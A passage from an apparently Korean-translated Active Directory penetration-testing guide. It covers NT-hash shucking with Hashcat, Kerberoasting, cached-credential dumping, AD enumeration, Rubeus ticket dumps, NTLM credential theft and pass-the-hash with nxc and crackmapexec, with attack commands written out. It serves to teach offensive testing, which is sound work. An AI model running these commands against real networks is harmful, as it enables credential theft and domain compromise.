  • ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์ถ”์  โ€“ ๊ฐ ํ•ด์‹œ๋ฅผ ์ƒ์„ฑํ•œ username/domain์„ ํ•จ๊ป˜ ๋ณด๊ด€ํ•˜์„ธ์š”(์›Œ๋“œ๋ฆฌ์ŠคํŠธ๊ฐ€ ํ—ฅ์‚ฌ๋งŒ ํฌํ•จํ•˜๋”๋ผ๋„). ์ผ์น˜ํ•˜๋Š” ํ•ด์‹œ๋Š” Hashcat์ด ์Šน๋ฆฌ ํ›„๋ณด๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ์ฆ‰์‹œ ์–ด๋–ค ์ฃผ์ฒด๊ฐ€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š”์ง€ ์•Œ๋ ค์ค๋‹ˆ๋‹ค.
  • shuckingํ•  ๋•Œ๋Š” ๊ฐ™์€ ํฌ๋ ˆ์ŠคํŠธ ๋˜๋Š” ์‹ ๋ขฐ๋œ ํฌ๋ ˆ์ŠคํŠธ์—์„œ ๊ฐ€์ ธ์˜จ ํ›„๋ณด๋ฅผ ์šฐ์„  ์‚ฌ์šฉํ•˜์„ธ์š”; ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅ์„ฑ์ด ์ตœ๋Œ€ํ™”๋ฉ๋‹ˆ๋‹ค.

Hashcat NT-candidate modes

Hash TypePassword ModeNT-Candidate Mode
Domain Cached Credentials (DCC)110031500
Domain Cached Credentials 2 (DCC2)210031600
NetNTLMv1 / NetNTLMv1+ESS550027000
NetNTLMv2560027100
Kerberos 5 etype 23 AS-REQ Pre-Auth7500N/A
Kerberos 5 etype 23 TGS-REP (Kerberoast)1310035300
Kerberos 5 etype 23 AS-REP1820035400

Notes:

  • NT-candidate ์ž…๋ ฅ์€ ํ•ญ์ƒ ๋กœ์šฐ 32-ํ—ฅ์‚ฌ NT ํ•ด์‹œ์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋ฃฐ ์—”์ง„์„ ๋น„ํ™œ์„ฑํ™”ํ•˜์„ธ์š”( -r ๊ธˆ์ง€, ํ•˜์ด๋ธŒ๋ฆฌ๋“œ ๋ชจ๋“œ ๊ธˆ์ง€) โ€” ๋งน๊ธ€๋ง์€ ํ›„๋ณด ํ‚ค ์žฌ๋ฃŒ๋ฅผ ์†์ƒ์‹œํ‚ต๋‹ˆ๋‹ค.
  • ์ด ๋ชจ๋“œ๋“ค์ด ๋ณธ์งˆ์ ์œผ๋กœ ๋” ๋น ๋ฅธ ๊ฒƒ์€ ์•„๋‹ˆ์ง€๋งŒ, NTLM ํ‚ค์ŠคํŽ˜์ด์Šค(์˜ˆ: M3 Max์—์„œ ~30,000 MH/s)๋Š” Kerberos RC4(~300 MH/s)๋ณด๋‹ค ์•ฝ 100ร— ๋น ๋ฆ…๋‹ˆ๋‹ค. ์—„์„ ๋œ NT ๋ฆฌ์ŠคํŠธ๋ฅผ ํ…Œ์ŠคํŠธํ•˜๋Š” ๊ฒƒ์ด ๋А๋ฆฐ ํฌ๋งท์—์„œ ์ „์ฒด ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ณต๊ฐ„์„ ํƒ์ƒ‰ํ•˜๋Š” ๊ฒƒ๋ณด๋‹ค ํ›จ์”ฌ ์ €๋ ดํ•ฉ๋‹ˆ๋‹ค.
  • ํ•ญ์ƒ ์ตœ์‹  Hashcat ๋นŒ๋“œ(git clone https://github.com/hashcat/hashcat && make install)๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. ๋ชจ๋“œ 31500/31600/35300/35400์€ ์ตœ๊ทผ์— ์ถ”๊ฐ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
  • ํ˜„์žฌ AS-REQ Pre-Auth์— ๋Œ€ํ•œ NT ๋ชจ๋“œ๋Š” ์—†์œผ๋ฉฐ, AES etypes(19600/19700)๋Š” ํ‚ค๊ฐ€ UTF-16LE ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ๋ถ€ํ„ฐ PBKDF2๋กœ ์œ ๋„๋˜๋ฏ€๋กœ ํ‰๋ฌธ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค(๋กœ์šฐ NT ํ•ด์‹œ๋กœ๋ถ€ํ„ฐ ํŒŒ์ƒ๋˜์ง€ ์•Š์Œ).

Example โ€“ Kerberoast RC4 (mode 35300)

  1. ์ €๊ถŒํ•œ ์‚ฌ์šฉ์ž๋กœ ๋Œ€์ƒ SPN์— ๋Œ€ํ•œ RC4 TGS๋ฅผ ์บก์ฒ˜ํ•˜์„ธ์š”(์ž์„ธํ•œ ๋‚ด์šฉ์€ Kerberoast ํŽ˜์ด์ง€ ์ฐธ์กฐ):

Kerberoast

GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile roastable_TGS
  1. NT ๋ฆฌ์ŠคํŠธ๋กœ ํ‹ฐ์ผ“์„ shuckํ•˜์„ธ์š”:
hashcat -m 35300 roastable_TGS nt_candidates.txt

Hashcat์€ ๊ฐ NT ํ›„๋ณด๋กœ๋ถ€ํ„ฐ RC4 ํ‚ค๋ฅผ ์œ ๋„ํ•˜๊ณ  $krb5tgs$23$... ๋ธ”๋ž์„ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค. ์ผ์น˜ํ•˜๋ฉด ์„œ๋น„์Šค ๊ณ„์ •์ด ๊ธฐ์กด NT ํ•ด์‹œ๋“ค ์ค‘ ํ•˜๋‚˜๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์Œ์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

  1. ์ฆ‰์‹œ PtH๋กœ ํ”ผ๋ฒ—ํ•˜์„ธ์š”:
nxc smb <dc_ip> -u roastable -H <matched_nt_hash>

ํ•„์š”ํ•˜๋‹ค๋ฉด ๋‚˜์ค‘์— hashcat -m 1000 <matched_hash> wordlists/๋กœ ํ‰๋ฌธ์„ ๋ณต๊ตฌํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

Example โ€“ Cached credentials (mode 31600)

  1. ์นจํ•ด๋œ ์›Œํฌ์Šคํ…Œ์ด์…˜์—์„œ ์บ์‹œ๋œ ๋กœ๊ทธ์ธ ์ •๋ณด๋ฅผ ๋คํ”„ํ•˜์„ธ์š”:
nxc smb <host_ip> -u localadmin -p '<password>' --local-auth --lsa > lsa_dump.txt
  1. ๊ด€์‹ฌ ์žˆ๋Š” ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž์˜ DCC2 ๋ผ์ธ์„ dcc2_highpriv.txt๋กœ ๋ณต์‚ฌํ•˜๊ณ  shuckํ•˜์„ธ์š”:
hashcat -m 31600 dcc2_highpriv.txt nt_candidates.txt
  1. ์„ฑ๊ณต์ ์ธ ๋งค์น˜๋Š” ์ด๋ฏธ ๋ฆฌ์ŠคํŠธ์— ์žˆ๋Š” NT ํ•ด์‹œ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋ฉฐ, ์บ์‹œ๋œ ์‚ฌ์šฉ์ž๊ฐ€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์Œ์„ ์ฆ๋ช…ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ PtH(nxc smb <dc_ip> -u highpriv -H <hash>)์— ์ง์ ‘ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ๋น ๋ฅธ NTLM ๋ชจ๋“œ๋กœ ์˜คํ”„๋ผ์ธ์—์„œ ๋ฌธ์ž์—ด์„ ๋ธŒ๋ฃจํŠธํฌ์Šคํ•˜์„ธ์š”.

๋™์ผํ•œ ์›Œํฌํ”Œ๋กœ์šฐ๋Š” NetNTLM ์ฑŒ๋ฆฐ์ง€-์‘๋‹ต(-m 27000/27100)๊ณผ DCC(-m 31500)์—๋„ ์ ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ผ๋‹จ ๋งค์น˜๊ฐ€ ํ™•์ธ๋˜๋ฉด relay, SMB/WMI/WinRM PtH๋ฅผ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ ์˜คํ”„๋ผ์ธ์—์„œ ๋งˆ์Šคํฌ/๋ฃฐ๋กœ NT ํ•ด์‹œ๋ฅผ ์žฌํฌ๋ž™ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Enumerating Active Directory WITH credentials/session

์ด ๋‹จ๊ณ„์—์„œ๋Š” ์œ ํšจํ•œ ๋„๋ฉ”์ธ ๊ณ„์ •์˜ ์ž๊ฒฉ์ฆ๋ช…์ด๋‚˜ ์„ธ์…˜์„ ํƒˆ์ทจํ•œ ์ƒํƒœ์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ถ€ ์œ ํšจํ•œ ์ž๊ฒฉ์ฆ๋ช…์ด๋‚˜ ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž๋กœ์„œ์˜ ์…ธ์ด ์žˆ๋‹ค๋ฉด, ์•ž์„œ ์–ธ๊ธ‰ํ•œ ์˜ต์…˜๋“ค(์‚ฌ์šฉ์ž๋“ค์„ ์ถ”๊ฐ€๋กœ ํƒˆ์ทจํ•˜๊ธฐ ์œ„ํ•œ ๋ฐฉ๋ฒ•๋“ค)์€ ์—ฌ์ „ํžˆ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ์ ์„ ๊ธฐ์–ตํ•˜์„ธ์š”.

์ธ์ฆ๋œ ์—ด๊ฑฐ๋ฅผ ์‹œ์ž‘ํ•˜๊ธฐ ์ „์— Kerberos double hop ๋ฌธ์ œ๊ฐ€ ๋ฌด์—‡์ธ์ง€ ์ดํ•ดํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Kerberos Double Hop Problem

Enumeration

๊ณ„์ •์„ ํƒˆ์ทจํ•œ ๊ฒƒ์€ ๋„๋ฉ”์ธ ์ „์ฒด๋ฅผ ํƒˆ์ทจํ•˜๊ธฐ ์œ„ํ•œ ํฐ ๋ฐœ๊ฑธ์Œ์ž…๋‹ˆ๋‹ค. ์ด์ œ Active Directory ์—ด๊ฑฐ๋ฅผ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค:

ASREPRoast์— ๊ด€ํ•ด์„œ๋Š” ์ด์ œ ๊ฐ€๋Šฅํ•œ ๋ชจ๋“  ์ทจ์•ฝ ์‚ฌ์šฉ์ž๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๊ณ , Password Spraying์— ๊ด€ํ•ด์„œ๋Š” ๋ชจ๋“  ์‚ฌ์šฉ์ž ์ด๋ฆ„ ๋ชฉ๋ก์„ ์–ป์–ด์„œ ํƒˆ์ทจํ•œ ๊ณ„์ •์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ, ๋นˆ ๋น„๋ฐ€๋ฒˆํ˜ธ, ๊ทธ๋ฆฌ๊ณ  ์œ ๋งํ•œ ์ƒˆ ๋น„๋ฐ€๋ฒˆํ˜ธ๋“ค์„ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ๊ธฐ๋ณธ์ ์ธ ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•˜๋ ค๋ฉด CMD to perform a basic recon๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋” ์€๋ฐ€ํ•˜๊ฒŒ ํ•˜๋ ค๋ฉด powershell for recon์„ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • ๋” ์ƒ์„ธํ•œ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•˜๋ ค๋ฉด use powerview๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Active Directory ํƒ์ƒ‰์— ๋†€๋ผ์šด ๋„๊ตฌ ์ค‘ ํ•˜๋‚˜๋Š” BloodHound์ž…๋‹ˆ๋‹ค. ์ˆ˜์ง‘ ๋ฐฉ๋ฒ•์— ๋”ฐ๋ผ ๋งค์šฐ ์€๋ฐ€ํ•˜์ง€๋Š” ์•Š์ง€๋งŒ, ์€๋ฐ€์„ฑ์„ ํฌ๊ฒŒ ์‹ ๊ฒฝ ์“ฐ์ง€ ์•Š๋Š”๋‹ค๋ฉด ๊ผญ ์‚ฌ์šฉํ•ด๋ณด์„ธ์š”. ์‚ฌ์šฉ์ž๊ฐ€ RDP ๊ฐ€๋Šฅํ•œ ๊ณณ, ๊ทธ๋ฃน์œผ๋กœ ๊ฐ€๋Š” ๊ฒฝ๋กœ ๋“ฑ์„ ์ฐพ๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • ๋‹ค๋ฅธ ์ž๋™ AD ์—ด๊ฑฐ ๋„๊ตฌ๋“ค: AD Explorer, ADRecon, Group3r, PingCastle.
  • DNS records of the AD๋Š” ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • GUI๋ฅผ ๊ฐ€์ง„ ๋””๋ ‰ํ„ฐ๋ฆฌ ์—ด๊ฑฐ ๋„๊ตฌ๋กœ๋Š” SysInternal Suite์˜ AdExplorer.exe๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ldapsearch๋ฅผ ์‚ฌ์šฉํ•ด LDAP ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ userPassword & unixUserPassword ํ•„๋“œ๋‚˜ Description ํ•„๋“œ์— ์ž๊ฒฉ์ฆ๋ช…์ด ์žˆ๋Š”์ง€ ๊ฒ€์ƒ‰ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์€ PayloadsAllTheThings์˜ โ€œPassword in AD User commentโ€ ํ•ญ๋ชฉ์„ ์ฐธ์กฐํ•˜์„ธ์š”: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment
  • Linux๋ฅผ ์‚ฌ์šฉ ์ค‘์ด๋ผ๋ฉด pywerview๋กœ ๋„๋ฉ”์ธ์„ ์—ด๊ฑฐํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ž๋™ํ™” ๋„๊ตฌ๋“ค๋„ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
  • ๋ชจ๋“  ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž ์ถ”์ถœ

Windows์—์„œ๋Š” ๋ชจ๋“  ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ ์–ป๋Š” ๊ฒƒ์ด ๋งค์šฐ ์‰ฝ์Šต๋‹ˆ๋‹ค(net user /domain, Get-DomainUser ๋˜๋Š” wmic useraccount get name,sid). Linux์—์„œ๋Š” GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username ๋˜๋Š” enum4linux -a -u "user" -p "password" <DC IP>๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด Enumeration ์„น์…˜์€ ๋ถ„๋Ÿ‰์€ ์ž‘์•„ ๋ณด์ด์ง€๋งŒ ๊ฐ€์žฅ ์ค‘์š”ํ•œ ๋ถ€๋ถ„์ž…๋‹ˆ๋‹ค. ๋งํฌ๋“ค(ํŠนํžˆ cmd, powershell, powerview, BloodHound)์„ ๋ฐฉ๋ฌธํ•ด ๋„๋ฉ”์ธ์„ ์–ด๋–ป๊ฒŒ ์—ด๊ฑฐํ•˜๋Š”์ง€ ๋ฐฐ์šฐ๊ณ  ์ถฉ๋ถ„ํžˆ ์—ฐ์Šตํ•˜์„ธ์š”. ์‹ค์ œ ํ‰๊ฐ€์—์„œ๋Š” ์ด ์ˆœ๊ฐ„์ด DA๋กœ ๊ฐ€๋Š” ๊ธธ์„ ์ฐพ๊ฑฐ๋‚˜ ๋” ์ด์ƒ ์ง„ํ–‰ํ•  ์ˆ˜ ์—†์Œ์„ ํŒ๋‹จํ•˜๋Š” ํ•ต์‹ฌ ์ˆœ๊ฐ„์ด ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Kerberoast

Kerberoasting์€ ์‚ฌ์šฉ์ž ๊ณ„์ •์— ์—ฐ๊ฒฐ๋œ ์„œ๋น„์Šค๋“ค์ด ์‚ฌ์šฉํ•˜๋Š” TGS ํ‹ฐ์ผ“์„ ํš๋“ํ•˜๊ณ , ๊ทธ ์•”ํ˜ธํ™”(์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•จ)๋ฅผ ์˜คํ”„๋ผ์ธ์—์„œ ํฌ๋ž™ํ•˜๋Š” ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค.

์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”:

Kerberoast

Remote connexion (RDP, SSH, FTP, Win-RM, etc)

์ž๊ฒฉ์ฆ๋ช…์„ ์–ป์œผ๋ฉด ์–ด๋–ค ๋จธ์‹ ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด ๋ณด์„ธ์š”. ํฌํŠธ ์Šค์บ” ๊ฒฐ๊ณผ์— ๋”ฐ๋ผ ์—ฌ๋Ÿฌ ์„œ๋ฒ„์—์„œ ๋‹ค์–‘ํ•œ ํ”„๋กœํ† ์ฝœ๋กœ ์—ฐ๊ฒฐ์„ ์‹œ๋„ํ•˜๋ ค๋ฉด CrackMapExec๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Local Privilege Escalation

์ผ๋ฐ˜ ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž๋กœ์„œ ์ž๊ฒฉ์ฆ๋ช…์ด๋‚˜ ์„ธ์…˜์„ ํƒˆ์ทจํ–ˆ๊ณ  ๋„๋ฉ”์ธ ๋‚ด์˜ ์–ด๋–ค ๋จธ์‹ ์— ์ด ์‚ฌ์šฉ์ž์˜ ๊ณ„์ •์œผ๋กœ ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด, ๋กœ์ปฌ ๊ถŒํ•œ ์ƒ์Šน์„ ์‹œ๋„ํ•˜๊ณ  ์ž๊ฒฉ์ฆ๋ช…์„ ์ˆ˜์ง‘ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋กœ์ปฌ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์ด ์žˆ์–ด์•ผ LSASS์—์„œ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ํ•ด์‹œ๋ฅผ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ๋คํ”„ํ•˜๊ฑฐ๋‚˜ ๋กœ์ปฌ(SAM)์—์„œ ๋คํ”„ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

์ด ์ฑ…์—๋Š” Windows์˜ ๋กœ์ปฌ ๊ถŒํ•œ ์ƒ์Šน์— ๊ด€ํ•œ ์ „์ฒด ํŽ˜์ด์ง€์™€ ์ฒดํฌ๋ฆฌ์ŠคํŠธ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ WinPEAS๋ฅผ ์žŠ์ง€ ๋ง๊ณ  ์‚ฌ์šฉํ•˜์„ธ์š”.

Current Session Tickets

ํ˜„ ์‚ฌ์šฉ์ž์—๊ฒŒ ์˜์™ธ์˜ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ์ฃผ๋Š” ํ‹ฐ์ผ“์„ ํ˜„์žฌ ์„ธ์…˜์—์„œ ์ฐพ์„ ํ™•๋ฅ ์€ ๋งค์šฐ ๋‚ฎ์ง€๋งŒ, ๋‹ค์Œ์„ ํ™•์ธํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
## Dump the interesting one by luid
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

NTLM Relay

If you have managed to enumerate the active directory you will have more emails and a better understanding of the network. You might be able to to force NTLM relay attacks.

Looks for Creds in Computer Shares | SMB Shares

์ด์ œ ๊ธฐ๋ณธ์ ์ธ ์ž๊ฒฉ์ฆ๋ช…์„ ํ™•๋ณดํ–ˆ์œผ๋ฏ€๋กœ AD ๋‚ด๋ถ€์—์„œ ๊ณต์œ ๋˜๊ณ  ์žˆ๋Š” ํฅ๋ฏธ๋กœ์šด ํŒŒ์ผ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ˆ˜๋™์œผ๋กœ ํ•  ์ˆ˜ ์žˆ๊ธด ํ•˜์ง€๋งŒ ๋งค์šฐ ์ง€๋ฃจํ•˜๊ณ  ๋ฐ˜๋ณต์ ์ธ ์ž‘์—…์ด๋ฉฐ(์ˆ˜๋ฐฑ ๊ฐœ์˜ ๋ฌธ์„œ๋ฅผ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค๋ฉด ๋”๋”์šฑ ๊ทธ๋ ‡์Šต๋‹ˆ๋‹ค).

Follow this link to learn about tools you could use.

Steal NTLM Creds

๋‹ค๋ฅธ PC๋‚˜ ๊ณต์œ ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, SCF ํŒŒ์ผ๊ณผ ๊ฐ™์€ ํŒŒ์ผ์„ ๋ฐฐ์น˜ํ•˜์—ฌ ๋ˆ„๊ตฐ๊ฐ€ ํ•ด๋‹น ํŒŒ์ผ์— ์ ‘๊ทผํ–ˆ์„ ๋•Œ ๋‹น์‹ ์„ ํ–ฅํ•œ NTLM authentication์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ๊ณ , ๊ทธ๋ ‡๊ฒŒ ํ•ด์„œ ํฌ๋ž™ํ•  ์ˆ˜ ์žˆ๋Š” NTLM challenge๋ฅผ stealํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Places to steal NTLM creds

CVE-2021-1675/CVE-2021-34527 PrintNightmare

์ด ์ทจ์•ฝ์ ์€ ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๋ผ๋ฉด ๋ˆ„๊ตฌ๋‚˜ **๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ๋ฅผ ํƒˆ์ทจ(compromise the domain controller)**ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ—ˆ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค.

PrintNightmare

Privilege escalation on Active Directory WITH privileged credentials/session

For the following techniques a regular domain user is not enough, you need some special privileges/credentials to perform these attacks.

Hash extraction

Hopefully you have managed to compromise some local admin account using AsRepRoast, Password Spraying, Kerberoast, Responder including relaying, EvilSSDP, escalating privileges locally.
๊ทธ๋Ÿฐ ๋‹ค์Œ ๋ฉ”๋ชจ๋ฆฌ์™€ ๋กœ์ปฌ์—์„œ ๋ชจ๋“  ํ•ด์‹œ๋ฅผ ๋คํ”„ํ•  ์‹œ๊ฐ„์ž…๋‹ˆ๋‹ค.
Read this page about different ways to obtain the hashes.

Pass the Hash

Once you have the hash of a user, you can use it to impersonate it.
ํ•ด๋‹น hash๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ NTLM authentication์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜, ์ƒˆ๋กœ์šด sessionlogon์„ ์ƒ์„ฑํ•ด ๊ทธ hash๋ฅผ LSASS ๋‚ด์— ์ฃผ์ž…ํ•˜์—ฌ ์ดํ›„ ์ด๋ฃจ์–ด์ง€๋Š” ๋ชจ๋“  NTLM authentication์— ๊ทธ hash๊ฐ€ ์‚ฌ์šฉ๋˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ›„์ž๋Š” mimikatz๊ฐ€ ํ•˜๋Š” ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค.
Read this page for more information.

Over Pass the Hash/Pass the Key

This attack aims to use the user NTLM hash to request Kerberos tickets, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially useful in networks where NTLM protocol is disabled and only Kerberos is allowed as authentication protocol.

Over Pass the Hash/Pass the Key

Pass the Ticket

In the Pass The Ticket (PTT) attack method, attackers steal a userโ€™s authentication ticket instead of their password or hash values. This stolen ticket is then used to impersonate the user, gaining unauthorized access to resources and services within a network.

Pass the Ticket

Credentials Reuse

If you have the hash or password of a local administrator you should try to login locally to other PCs with it.

# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +

Warning

์ด๊ฒƒ์€ ์ƒ๋‹นํžˆ ๋…ธ์ด์ฆˆ๊ฐ€ ๋งŽ์œผ๋ฉฐ, LAPS๊ฐ€ ์ด๋ฅผ ์™„ํ™”ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”.

MSSQL ์˜ค์šฉ ๋ฐ ์‹ ๋ขฐ๋œ ๋งํฌ

์‚ฌ์šฉ์ž๊ฐ€ MSSQL ์ธ์Šคํ„ด์Šค์— ์ ‘๊ทผํ•  ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด, MSSQL ํ˜ธ์ŠคํŠธ์—์„œ ๋ช…๋ น์„ ์‹คํ–‰(SA๋กœ ์‹คํ–‰ ์ค‘์ธ ๊ฒฝ์šฐ)ํ•˜๊ฑฐ๋‚˜ NetNTLM hash๋ฅผ ํƒˆ์ทจํ•˜๊ฑฐ๋‚˜ ์‹ฌ์ง€์–ด relay attack์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋˜ํ•œ, ํ•œ MSSQL ์ธ์Šคํ„ด์Šค๊ฐ€ ๋‹ค๋ฅธ MSSQL ์ธ์Šคํ„ด์Šค์— ์˜ํ•ด ์‹ ๋ขฐ(trusted, database link)๋˜์–ด ์žˆ๋‹ค๋ฉด, ์‚ฌ์šฉ์ž๊ฐ€ ์‹ ๋ขฐ๋œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋Œ€ํ•œ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ๊ฒฝ์šฐ ์‹ ๋ขฐ ๊ด€๊ณ„๋ฅผ ์ด์šฉํ•ด ๋‹ค๋ฅธ ์ธ์Šคํ„ด์Šค์—์„œ๋„ ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์‹ ๋ขฐ๋Š” ์—ฐ์‡„๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ฒฐ๊ตญ ์‚ฌ์šฉ์ž๊ฐ€ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์ฐพ์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.
๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ฐ„ ๋งํฌ๋Š” ํฌ๋ฆฌ์ŠคํŠธ ์‹ ๋ขฐ(forest trusts) ๊ฐ„์—๋„ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.

MSSQL AD Abuse

IT ์ž์‚ฐ/๋ฐฐํฌ ํ”Œ๋žซํผ ์˜ค์šฉ

ํƒ€์‚ฌ ์ธ๋ฒคํ† ๋ฆฌ ๋ฐ ๋ฐฐํฌ ์†”๋ฃจ์…˜์€ ์ข…์ข… ์ž๊ฒฉ์ฆ๋ช…๊ณผ ์ฝ”๋“œ ์‹คํ–‰์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ•๋ ฅํ•œ ๊ฒฝ๋กœ๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ์ฐธ๊ณ :

Sccm Management Point Relay Sql Policy Secrets

Lansweeper Security

Unconstrained Delegation

